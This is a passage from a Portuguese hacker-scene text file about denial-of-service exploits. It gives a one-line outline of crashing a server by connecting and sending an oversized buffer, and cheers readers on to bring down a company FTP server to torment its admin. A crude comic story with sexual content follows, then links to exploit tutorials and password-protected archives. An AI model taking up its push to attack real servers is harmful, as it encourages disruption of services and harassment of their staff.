fazer seus exploits!!! ;) Ops, ei, se voces nao manjam de socket em 'C', significa que muito provavelmente voces nao vao saber fazer o exploit!!! Hum... Enfim, quando terminar de ler este txt, baixe o txt de socket no final deste txt (...?...) e veja o video do meu manoh Dehdeh amoreba ehehehehe! Ele ta ferrando o sami! Resumindo: O esquema de D.o.S eh simples, vc se conectada ('connect()'), e envia o tal do buffer depois do comando....................:) Vao fazer seus exploits maninhos! 7.1 - Quais as utilizacoes de D.o.S? Sei lah, esporte? Falta do q fazer? Ou apenas p/ infernizar algum admin que precisa passar informacoes de vendas ou algo do tipo para a empresa, ou ateh mesmo pegar essas informacoes do servidor. O infeliz usa o server de FTP da empresa porque precisa, voce derruba o server, o infeliz vai ficar puto por- que ele nao consegue ter acesso ao server, ele precisa disso para sobreviver pois vivo ele jah estah (rss), ele entao liga para alguem da empresa mas por alguma razao ninguem atente, ele entao lembra do tel do seu Joaquim, q tra- balha no setor de limpeza. Ele pedi p/ ele clicar em umas coisas e tals, dae ta tudo resolvido, ele pega os dados para saber qual a proxima reuniao, mas, no final da tarde resolve se conectar outra vez p/ pegar os dados outra vez, pois um trombadinha o roubou no meio da rua e levou o CD's onde estavam os locais da reuniao, mass... Ele nao consegue! Vc derrubou o server outra vez, ele entao liga para o cara q o ajudou da primeira vez, o cara ta transando com a esposa, ele estah em casa em cima da mulher, ta dando nela com gosto d gas, ta todo mundo suado numa putaria soh, a mulher do seu Joaquim ta quase tendo 1 orgasmo, o seu Joaca ja teve multiplos orgasmos, e aquele vuco-vuco pra la e pra k, quando derrepende, o telefone toca -> Era o admin. Putz! Jah deu a hora do cara manoh! (Lembra que ta no final da tarde?), o seu Joaquim atende o telefone + q puto d raiva e diz: Po meu, agora nao! Logo em seguida ele diz pro admin: Seu brocha! e desliga o tel. O admin q esta longe resolve entao ir p/ praia, pois ele nao consegue estabelecer a droga da conexao no server da empresa. Lah na praia ele encontra o terrorista mais procurado do mundo (Por enquanto nao eh o 6_Bl4ck9_f0x6 ;), o osama /bin/laden e eles co- mecam a querer se falar (Hummm...), nao amigo, issu nao eh uma historia gay! Ai o osama /bin/laden -fala "Io noi so marinhero". O nosso admin que vamos chamar aqui de 'neo', diz: Eh capita~. O osama /bin/lada -fala "o q voce ta fazendo por aqui?". neo: - Nao tenho na pra fazer, algum kiddie deve ter derrubado o FTP da empresa que eu trabalho, eu precisava pegar os locais que eu tenho q ir, eu ateh peguei, mas um moleque de 7 anos com o nariz escorrendo e com uma garra- finha de pitchula cheia de cola de sapateiro me roubou. Osama /bin/laden/ -fala "Cade?" neo: - Cade oq? Osama /bin/laden/ -fala "O negocio" neo: - Nao cara, meu negocio eh mulher... Osama /bin/laden/ -fala "O bagulho manoh" neo: - AAA. Que susto. Bora lah na boca de fumo comprar. E ae eles viveram felizes para sempre. Nao nao, ai eu cai da cama e acordei. Fim... 8.0 - Xau... Xau... ============================================================ Informacoes sobre o netcat e um curso basico de linguagem C Link: http://www.hunterhacker.xpg.com.br/C.O.D.Ex02.txt ------------------------------------------------------------ Tutorial Basico do gcc e entendendo as etapas de compilacao Link: http://www.hunterhacker.xpg.com.br/gcc_tuto_1.txt ------------------------------------------------------------ Berkeley socket em C parte 1: Link: http://www.hunterhacker.xpg.com.br/socket_ohhh_yes.txt ============================================================ Exploiting Heap Overflow in the windows Link: https://www.istf.com.br/vb/penetration-tests/12296-metasploit-para-windows-detonando-xd.html ============================================================ Buffer Overflow by Andre Amorim Parte1: Link: http://www.hunterhacker.xpg.com.br/Pen1.rar Senha: myloveluz Parte2: Link: http://www.hunterhacker.xpg.com.br/Pen2.rar Senha: myloveluz Aproveite e de uma passadinha em: www.metasploit-br.org ============================================================ by 6_Bl4ck9_f0x6 - Viper Corp Group []`s